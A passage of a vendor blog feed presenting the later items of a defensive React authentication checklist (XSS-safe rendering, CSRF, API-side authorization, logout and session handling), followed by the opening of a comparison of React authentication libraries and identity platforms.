<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">comment</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag" style="color:#1F4FFF">div</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><br></span></code></pre></div></div>
<p>does not simply treat whatever is inside <code>comment</code> as executable HTML.</p>
<p><code>dangerouslySetInnerHTML</code> deliberately bypasses that protection.</p>
<p>There are legitimate cases where an application needs to render HTML, such as content from a CMS. In those cases, untrusted HTML needs to be sanitized before it reaches the browser.</p>
<p>A maintained sanitizer such as DOMPurify is commonly used for this.</p>
<p><strong>Verify:</strong> search the project for <code>dangerouslySetInnerHTML</code>.</p>
<p>For every result, trace where the HTML came from.</p>
<p>Pay particular attention if it originates from user input, URL parameters, API responses containing user-generated content, CMS content, or third-party feeds.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-if-you-use-cookies-protect-against-cross-site-requests">13. If you use cookies, protect against cross-site requests<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#13-if-you-use-cookies-protect-against-cross-site-requests" class="hash-link" aria-label="Direct link to 13. If you use cookies, protect against cross-site requests" title="Direct link to 13. If you use cookies, protect against cross-site requests" translate="no">​</a></h3>
<p>If your application uses the backend model described earlier, authentication may rely on a session cookie instead of exposing OAuth tokens to React.</p>
<p>That changes the browser security model.</p>
<p>The browser can automatically attach cookies to requests, which means another website may try to make the user's browser send an authenticated request to your application.</p>
<p>This class of attack is usually called <strong>Cross-Site Request Forgery</strong>, or CSRF.</p>
<p>Cookie attributes such as <code>Secure</code>, <code>HttpOnly</code>, and <code>SameSite</code> are important.</p>
<p><code>Secure</code> ensures the cookie is only sent over HTTPS.</p>
<p><code>HttpOnly</code> prevents normal JavaScript from directly reading it.</p>
<p><code>SameSite</code> controls when the browser sends the cookie with cross-site requests.</p>
<p>For a BFF-style architecture, <code>SameSite=Strict</code> provides strong protection where your application architecture allows it.</p>
<p>But <code>SameSite</code> should not automatically be treated as your entire CSRF design. Applications spread across subdomains or different origins need more careful handling.</p>
<p>Depending on the architecture, additional protection can include anti-forgery tokens, strict CORS configuration, or requiring a custom request header that another origin cannot send without passing a CORS preflight.</p>
<p><strong>Verify:</strong> inspect the <code>Set-Cookie</code> header used for your authenticated session.</p>
<p>Check the values of <code>Secure</code>, <code>HttpOnly</code>, <code>SameSite</code>, <code>Domain</code>, and <code>Path</code>.</p>
<p>Then confirm what actually prevents another website from submitting a state-changing request through the authenticated browser.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="authorization-belongs-in-the-api">Authorization belongs in the API<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#authorization-belongs-in-the-api" class="hash-link" aria-label="Direct link to Authorization belongs in the API" title="Direct link to Authorization belongs in the API" translate="no">​</a></h2>
<p>React needs authorization information so it can show the right interface.</p>
<p>The final security decision still belongs on the server.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="14-hiding-a-button-is-not-authorization">14. Hiding a button is not authorization<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#14-hiding-a-button-is-not-authorization" class="hash-link" aria-label="Direct link to 14. Hiding a button is not authorization" title="Direct link to 14. Hiding a button is not authorization" translate="no">​</a></h3>
<p>This is normal React code:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain">isAdmin </span><span class="token operator">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AdminPanel</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>If the user is not an administrator, there is no reason to show them an administrator button.</p>
<p>That is good UI behavior.</p>
<p>It is not access control.</p>
<p>The user controls their browser. They can modify frontend state, change JavaScript, or simply call your API without opening the React application.</p>
<p>For every sensitive action, the API needs to independently decide whether the authenticated user is allowed to perform it.</p>
<p><strong>Verify:</strong> identify your role-based conditional rendering and route guards.</p>
<p>For each sensitive action behind them, find the corresponding authorization check in the API.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="15-do-not-trust-object-ids-coming-from-react">15. Do not trust object IDs coming from React<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#15-do-not-trust-object-ids-coming-from-react" class="hash-link" aria-label="Direct link to 15. Do not trust object IDs coming from React" title="Direct link to 15. Do not trust object IDs coming from React" translate="no">​</a></h3>
<p>Assume your profile page calls:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /users/42</span><br></span></code></pre></div></div>
<p>The user changes that to:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">GET /users/43</span><br></span></code></pre></div></div>
<p>What happens?</p>
<p>The fact that the caller asked for user 43 does not mean the caller is allowed to see user 43.</p>
<p>The API needs to take the authenticated identity and decide whether that identity can access the requested object.</p>
<p>This problem is not limited to user IDs. It also applies to <code>/orders/1024</code>, <code>/tenants/acme</code>, <code>/documents/239</code>, and <code>/projects/81</code>.</p>
<p>Any identifier coming from the frontend should be treated as a request to access something, not proof that access is allowed.</p>
<p><strong>Verify:</strong> log in as one test user and change an object identifier to one belonging to another user.</p>
<p>Do the same for update and delete operations, not only reads.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="16-protected-routes-protect-the-ui">16. Protected routes protect the UI<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#16-protected-routes-protect-the-ui" class="hash-link" aria-label="Direct link to 16. Protected routes protect the UI" title="Direct link to 16. Protected routes protect the UI" translate="no">​</a></h3>
<p>A React application may contain something such as:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">ProtectedRoute</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#5A6072">&lt;</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">AccountPage</span><span class="token tag" style="color:#1F4FFF"> </span><span class="token tag punctuation" style="color:#5A6072">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#5A6072">&lt;/</span><span class="token tag class-name" style="color:#0B1633;font-weight:600">ProtectedRoute</span><span class="token tag punctuation" style="color:#5A6072">&gt;</span><br></span></code></pre></div></div>
<p>This is useful.</p>
<p>It prevents unauthenticated users from navigating through parts of the interface they cannot use.</p>
<p>But the route guard executes in frontend code.</p>
<p>The API behind that page still needs to reject requests without valid authentication, and it also needs to reject authenticated users who do not have the required permission.</p>
<p>Think of the React route guard as user experience. Think of the API as the actual security boundary.</p>
<p><strong>Verify:</strong> choose a protected page and identify the API calls it makes.</p>
<p>Call one API without authentication, and again with a valid user who should not have access.</p>
<p>Both requests should fail at the API.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-and-sessions">Logout and sessions<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#logout-and-sessions" class="hash-link" aria-label="Direct link to Logout and sessions" title="Direct link to Logout and sessions" translate="no">​</a></h2>
<p>Authentication design does not end when login succeeds.</p>
<p>Logout is where several assumptions normally become visible.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="17-know-what-logout-actually-does">17. Know what logout actually does<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#17-know-what-logout-actually-does" class="hash-link" aria-label="Direct link to 17. Know what logout actually does" title="Direct link to 17. Know what logout actually does" translate="no">​</a></h3>
<p>A simple React logout implementation may look like this:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token function" style="color:#0B1633;font-weight:600">setUser</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword null nil" style="color:#C43300">null</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">removeItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The UI is now logged out.</p>
<p>But there may still be several other things active: a login session at the identity provider, a refresh token, and access tokens that remain valid until expiry.</p>
<p>These are related but separate pieces of state.</p>
<p>Ending the identity-provider session does not automatically mean every access token previously issued becomes unusable immediately.</p>
<p>Similarly, clearing React state does not mean the identity-provider session has ended.</p>
<p>For a proper logout flow, decide what you actually want to terminate.</p>
<p>For some applications, removing the local application session is enough.</p>
<p>For others, logout should also terminate the login session at the identity provider and revoke refresh tokens.</p>
<p><strong>Verify:</strong> write down what your logout operation actually does.</p>
<p>Capture an access token, sign out, and test whether that token is still accepted by your API.</p>
<p>Also sign out and then immediately start login again. If the identity provider signs the user in without any interaction, the provider session may still be active.</p>
<p>That may be intended, but it should be something you chose rather than discovered later.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="18-test-logout-with-more-than-one-tab">18. Test logout with more than one tab<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#18-test-logout-with-more-than-one-tab" class="hash-link" aria-label="Direct link to 18. Test logout with more than one tab" title="Direct link to 18. Test logout with more than one tab" translate="no">​</a></h3>
<p>Users open multiple tabs.</p>
<p>If the user signs out from one tab, another tab may still show the application as authenticated.</p>
<p>Eventually its API calls may begin failing, but until that happens the UI can remain in a stale state.</p>
<p>React applications can synchronize logout state using mechanisms such as <code>BroadcastChannel</code>, storage events, or SDK-provided session events.</p>
<p>The exact implementation depends on how your authentication state is stored.</p>
<p><strong>Verify:</strong> open the application in two tabs.</p>
<p>Sign out in the first tab and watch the second one.</p>
<p>It should respond to the logout instead of continuing indefinitely with stale authentication state.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="19-configure-how-long-sessions-can-live">19. Configure how long sessions can live<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#19-configure-how-long-sessions-can-live" class="hash-link" aria-label="Direct link to 19. Configure how long sessions can live" title="Direct link to 19. Configure how long sessions can live" translate="no">​</a></h3>
<p>There are two different limits worth considering.</p>
<p>An <strong>idle timeout</strong> ends the session when the user has been inactive for a period of time.</p>
<p>An <strong>absolute timeout</strong> ends the session after a maximum amount of time, even if the user remains active.</p>
<p>They solve different problems.</p>
<p>An idle timeout helps with the unattended browser.</p>
<p>An absolute timeout prevents a session from continuing forever simply because activity keeps occurring.</p>
<p>There is no single timeout value that fits every React application. A consumer application and an application handling financial or administrative data may reasonably have very different requirements.</p>
<p>The important part is that these values are deliberate.</p>
<p><strong>Verify:</strong> check the session configuration at your identity provider and application.</p>
<p>Also test what happens when a session expires while the user is actively using the application. The result should normally be a clean transition back to authentication rather than a page full of failed API requests.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="before-you-ship">Before you ship<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#before-you-ship" class="hash-link" aria-label="Direct link to Before you ship" title="Direct link to Before you ship" translate="no">​</a></h2>
<p>There are two more things worth checking even though they are not part of the authentication protocol itself.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="development-configuration">Development configuration<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#development-configuration" class="hash-link" aria-label="Direct link to Development configuration" title="Direct link to Development configuration" translate="no">​</a></h3>
<p>Authentication code tends to accumulate temporary debugging.</p>
<p>For example:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token console class-name" style="color:#0B1633;font-weight:600">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token console class-name" style="color:#0B1633;font-weight:600">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">user</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>That may be useful while developing and something you do not want in production.</p>
<p>Also check for development identity-provider URLs, test tenants, temporary client IDs, authentication bypasses, test users, and verbose SDK logging.</p>
<p>Do not assume your build process removes everything automatically.</p>
<p>Search for them before release.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="dependencies">Dependencies<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#dependencies" class="hash-link" aria-label="Direct link to Dependencies" title="Direct link to Dependencies" translate="no">​</a></h3>
<p>Your authentication code runs in the same browser environment as the rest of the application.</p>
<p>A vulnerable or compromised dependency can therefore become part of the authentication threat model as well.</p>
<p>Run dependency scanning as part of CI rather than only when somebody happens to remember.</p>
<p>Tools such as <code>npm audit</code> are useful here.</p>
<p>Automated dependency updates are useful as well, but they still need testing, especially for authentication libraries where a small behavior change can affect login or session handling.</p>
<p>Also delete packages you no longer use.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="keep-authentication-policy-outside-react">Keep authentication policy outside React<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#keep-authentication-policy-outside-react" class="hash-link" aria-label="Direct link to Keep authentication policy outside React" title="Direct link to Keep authentication policy outside React" translate="no">​</a></h2>
<p>Some authentication features should normally be controlled by your identity platform rather than implemented separately inside each React application.</p>
<p>As an example: multi-factor authentication, step-up authentication for sensitive actions, password policies, account recovery, brute-force protection, and authentication based on device or risk signals.</p>
<p>Your React application may need to start or respond to these flows.</p>
<p>It should not need to implement the security mechanism itself.</p>
<p>Assume you later decide that changing a bank account number requires an additional authentication step.</p>
<p>Ideally, you should be able to change that policy at the identity layer without building your own MFA mechanism inside the React application.</p>
<p>This also makes authentication reusable. If you have five applications, the authentication policy remains in one place rather than becoming five separate implementations.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-problems-to-check">Common problems to check<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#common-problems-to-check" class="hash-link" aria-label="Direct link to Common problems to check" title="Direct link to Common problems to check" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="users-get-logged-out-occasionally-and-nobody-can-reproduce-it">Users get logged out occasionally and nobody can reproduce it<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#users-get-logged-out-occasionally-and-nobody-can-reproduce-it" class="hash-link" aria-label="Direct link to Users get logged out occasionally and nobody can reproduce it" title="Direct link to Users get logged out occasionally and nobody can reproduce it" translate="no">​</a></h3>
<p>Check whether several failed API requests can start token refresh at the same time.</p>
<p>This becomes particularly important when refresh-token rotation is enabled.</p>
<p>See rules 7 and 9.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="we-use-an-httponly-cookie-so-xss-cannot-affect-authentication">We use an HttpOnly cookie, so XSS cannot affect authentication<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#we-use-an-httponly-cookie-so-xss-cannot-affect-authentication" class="hash-link" aria-label="Direct link to We use an HttpOnly cookie, so XSS cannot affect authentication" title="Direct link to We use an HttpOnly cookie, so XSS cannot affect authentication" translate="no">​</a></h3>
<p>An HttpOnly cookie prevents JavaScript from directly reading that cookie.</p>
<p>That is useful, but injected JavaScript may still be able to make authenticated requests because the browser attaches the cookie.</p>
<p>See rules 10 and 13.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-works-because-react-clears-the-user">Logout works because React clears the user<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#logout-works-because-react-clears-the-user" class="hash-link" aria-label="Direct link to Logout works because React clears the user" title="Direct link to Logout works because React clears the user" translate="no">​</a></h3>
<p>That proves the front-end state was cleared.</p>
<p>It does not tell you whether the identity-provider session, refresh token, or existing access tokens were affected.</p>
<p>See rule 17.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="everything-works-locally-but-authentication-fails-in-production">Everything works locally but authentication fails in production<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#everything-works-locally-but-authentication-fails-in-production" class="hash-link" aria-label="Direct link to Everything works locally but authentication fails in production" title="Direct link to Everything works locally but authentication fails in production" translate="no">​</a></h3>
<p>Check the issuer and endpoint configuration, redirect URL, origin configuration, and environment-specific client settings.</p>
<p>See rules 4 and 5.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-you-only-check-four-things">If you only check four things<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#if-you-only-check-four-things" class="hash-link" aria-label="Direct link to If you only check four things" title="Direct link to If you only check four things" translate="no">​</a></h2>
<p>Nineteen items can look like a lot if you already have an application running.</p>
<p>If I had to start with four, I would check these first.</p>
<p><strong>1. Does the OAuth token need to be in React at all?</strong> If you already have a backend, consider whether the authentication state can stay there.</p>
<p><strong>2. Can more than one refresh happen at the same time?</strong> This is easy to miss and can produce difficult-to-reproduce logout problems.</p>
<p><strong>3. Is authorization enforced by the API?</strong> Anything that exists only in React is UI behavior, not the final security decision.</p>
<p><strong>4. What really happens when the user signs out?</strong> Check the frontend session, identity-provider session, refresh token, and existing access tokens separately.</p>
<p>After that, work through the remaining items against your own application.</p>
<p>The important part is not whether an SDK documentation page says the feature is supported. It is whether you can verify what your application is actually doing.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-your-authentication-sdk-should-handle">What your authentication SDK should handle<a href="https://choreolabs.com/identity-and-access-management/learn/react-authentication-best-practices-checklist#what-your-authentication-sdk-should-handle" class="hash-link" aria-label="Direct link to What your authentication SDK should handle" title="Direct link to What your authentication SDK should handle" translate="no">​</a></h2>
<p>A good React authentication SDK should remove a lot of protocol-level work from your application.</p>
<p>For example, the SDK should normally handle things such as starting the login flow, generating PKCE values, processing the authorization response, validating the authentication result, maintaining authentication state, obtaining access tokens, and performing logout against the identity provider where configured.</p>
<p>It should also give you a clear way to control how browser-side authentication state is stored.</p>
<p>But there is an important boundary here.</p>
<p>An authentication SDK cannot secure everything around authentication.</p>
<p>Your application still owns browser security, including CSP and safe rendering of untrusted content. Your APIs still own authorization. If you use cookie-based sessions or a BFF, your architecture still needs proper CSRF protection. Your application also needs to handle concurrent API calls, expired sessions, multi-tab behavior, and the user experience around authentication failures.</p>
<p>With <strong>WSO2 Identity Platform</strong>, the React and browser SDKs are intended to handle the OAuth and OpenID Connect mechanics so that application developers do not need to implement these flows directly. The exact behavior depends on the SDK version and configuration, so check the current SDK documentation when deciding things such as storage, token handling, and logout behavior.</p>
<p>The main point is to keep that boundary clear: let the identity platform and SDK handle authentication mechanics, while your React application and APIs remain responsible for the security decisions that belong to them.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Best Authentication Libraries for React in 2026]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react</guid>
            <pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[An honest comparison of React authentication libraries and platforms: Better Auth, Clerk, Auth0, Supabase, WSO2 and more, with real trade-offs.]]></description>
            <content:encoded><![CDATA[<p>There are many ways to add authentication to a React application, but they do not all solve the same problem.</p>
<p>Some are libraries that run as part of your application. Some give you a React SDK connected to a managed identity service. Others are complete identity servers that you deploy independently and connect to your React application.</p>
<p>This distinction matters because choosing an authentication library is rarely just about getting a login page working. The choice also determines where your identity layer lives, who operates it, how easily it can be shared across applications and APIs, which protocols you can use later, and how much control you retain as the system grows.</p>
<p>In this post, I will compare 9 options React developers are likely to encounter in 2026:</p>
<p>Better Auth, Auth.js, Clerk, Auth0, Supabase Auth, Keycloak, WSO2 Identity Server, ThunderID, and MSAL React.</p>
<p>A React authentication library can solve login for one application. The harder decision is whether authentication should remain part of that application or become a reusable identity layer shared by everything around it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-are-we-comparing">What are we comparing?<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#what-are-we-comparing" class="hash-link" aria-label="Direct link to What are we comparing?" title="Direct link to What are we comparing?" translate="no">​</a></h2>
<p>The term "authentication library" is used quite loosely.</p>
<p>Better Auth and Auth.js are closest to what developers traditionally mean by a library. You install them into your application and operate the authentication backend as part of your own stack.</p>
<p>Clerk and Auth0 give you React SDKs, but authentication ultimately depends on identity services operated by those vendors.</p>
<p>Supabase Auth sits inside the broader Supabase application platform, although its authentication service can also be self-hosted.</p>
<p>Keycloak, WSO2 Identity Server, and ThunderID are standalone identity servers. The React SDK or OIDC client is only the application-facing part of a larger identity system.</p>
<p>MSAL React is slightly different again. It is a React library specifically for applications authenticating through Microsoft Entra ID.</p>
<p>For a React developer, however, all of them can appear during the same search: "What should I add to my React application for authentication?"</p>
<p>That is the scope I am using here.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-where-identity-will-live">Start with where identity will live<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#start-with-where-identity-will-live" class="hash-link" aria-label="Direct link to Start with where identity will live" title="Direct link to Start with where identity will live" translate="no">​</a></h2>
<p>Before comparing hooks, components, or quickstarts, I would first decide where you want identity to live.</p>
<p>For a small application, keeping authentication inside the application stack can be completely reasonable. There is less infrastructure to introduce, and a library can give you the functionality you need without operating a separate identity server.</p>
<p>The question becomes more interesting as the application grows.</p>
<p>Identity usually stops being a concern of one frontend. Multiple applications may need the same users. APIs need tokens. B2B customers may need their own organizations and administrators. Enterprise customers start asking for SAML or OIDC federation and SCIM provisioning. Agents and workloads may also need identities of their own.</p>
<p>At that point, identity increasingly becomes reusable infrastructure rather than application code.</p>
<p>Deployment matters as well.</p>
<p>A managed service removes much of the operational responsibility, but you accept the provider's deployment model, pricing, service boundaries, and commercial terms.</p>
<p>A self-hosted identity server gives you more control, but you are responsible for availability, upgrades, databases, security patches, backup and recovery, certificates, monitoring, and capacity.</p>
<p>These are different architectural choices, even when the React code needed to call <code>signIn()</code> looks very similar.</p>
<p>Here is the high-level comparison.</p>
<table><thead><tr><th><strong>Product</strong></th><th><strong>Type</strong></th><th><strong>Deployment</strong></th><th><strong>React integration</strong></th><th><strong>Broader identity direction</strong></th></tr></thead><tbody><tr><td>Better Auth</td><td>Application authentication library</td><td>Runs with your application</td><td>First-party React client</td><td>Organizations, SSO and SCIM through framework/plugins</td></tr><tr><td>Auth.js</td><td>Application authentication library</td><td>Runs with your application/backend</td><td>React support through Auth.js/NextAuth model</td><td>Primarily application authentication</td></tr><tr><td>Clerk</td><td>Managed identity platform</td><td>SaaS</td><td>First-party React SDK and UI components</td><td>Organizations, SSO and enterprise features</td></tr><tr><td>Auth0</td><td>Managed identity platform</td><td>SaaS, with private deployment options at Enterprise level</td><td>First-party React SDK</td><td>Organizations, enterprise federation, SCIM and broader IAM</td></tr><tr><td>Supabase Auth</td><td>Authentication service within Supabase</td><td>Managed or self-hosted</td><td>supabase-js</td><td>Primarily application authentication</td></tr><tr><td>Keycloak</td><td>Open-source identity server</td><td>Self-hosted</td><td>OIDC / keycloak-js</td><td>Organizations, federation and broad IAM protocol support</td></tr><tr><td><strong>WSO2 Identity Server</strong></td><td><strong>Open-source identity server</strong></td><td><strong>Self-hosted, while WSO2 Identity Platform is also available as SaaS and private cloud</strong></td><td><strong>First-party React SDK and components</strong></td><td><strong>Hierarchical B2B organizations, enterprise IAM and agent identity</strong></td></tr><tr><td><strong>ThunderID</strong></td><td><strong>Open-source identity stack</strong></td><td><strong>Self-hosted</strong></td><td><strong>First-party React SDK</strong></td><td><strong>Agent identity, GitOps, OUs and newer identity architectures</strong></td></tr><tr><td>MSAL React</td><td>Microsoft client library</td><td>React application backed by Microsoft Entra ID</td><td>First-party React SDK</td><td>Determined by the connected Entra ID tenant</td></tr></tbody></table>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="better-auth">Better Auth<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#better-auth" class="hash-link" aria-label="Direct link to Better Auth" title="Direct link to Better Auth" translate="no">​</a></h3>
<p>Better Auth is a TypeScript authentication framework that runs with your application rather than requiring a separate hosted identity provider. Vercel acquired Better Auth in July 2026, with the project continuing as open source and framework-agnostic software.</p>
<p>For React, Better Auth provides a first-party client and can be used without Next.js. It has also expanded beyond basic login, with support around organizations, enterprise SSO, SCIM, OAuth and OpenID Connect provider functionality, and other authentication capabilities.</p>
<p>The more important distinction is architectural.</p>
<p>Better Auth makes authentication part of your application stack. This can work well when authentication belongs primarily to one application and you want to own the implementation and data rather than depend on a hosted identity service.</p>
<p>The trade-off becomes more visible later.</p>
<p>Once several applications, APIs, services, or organizations need to share the same identity layer, having authentication embedded inside one application architecture can become a constraint. You may eventually want identity to become its own independently operated and reusable component.</p>
<p>This is not necessarily a weakness in Better Auth itself. It is largely a consequence of choosing an application authentication library rather than a standalone identity platform.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authjs">Auth.js<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#authjs" class="hash-link" aria-label="Direct link to Auth.js" title="Direct link to Auth.js" translate="no">​</a></h3>
<p>Auth.js, formerly NextAuth.js, has been widely used for authentication in Next.js applications. Maintenance of the project has now moved to the Better Auth team, with existing deployments continuing to receive maintenance while Better Auth is the recommended direction for many new applications.</p>
<p>Auth.js can be used outside Next.js, but its architecture remains closely associated with server-side authentication endpoints.</p>
<p>For a plain client-side React application, you therefore need a backend environment to host those authentication routes rather than treating Auth.js as a completely standalone SPA authentication package.</p>
<p>For an existing Auth.js application, there may be no reason to move simply because another project exists.</p>
<p>For a new plain React application, I would compare the additional backend integration with the alternatives before choosing it.</p>
<p>There is also the same longer-term architectural consideration as Better Auth. Authentication becomes part of your application stack. If identity later needs to be reused across multiple applications, APIs, or services, separating it into an independent identity layer becomes another architecture change you need to make.</p>
<p>Again, that does not make Auth.js a bad authentication library. It means you should understand whether you are solving application authentication or establishing an identity platform that other systems will eventually need to consume.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="clerk">Clerk<a href="https://choreolabs.com/identity-and-access-management/learn/best-authentication-libraries-react#clerk" class="hash-link" aria-label="Direct link to Clerk" title="Direct link to Clerk" translate="no">​</a></h3>
<p>Clerk is a managed identity service with first-party React tooling. Its React SDK provides hooks together with prebuilt authentication and user-management components, and it also supports capabilities such as Organizations and enterprise SSO.</p>
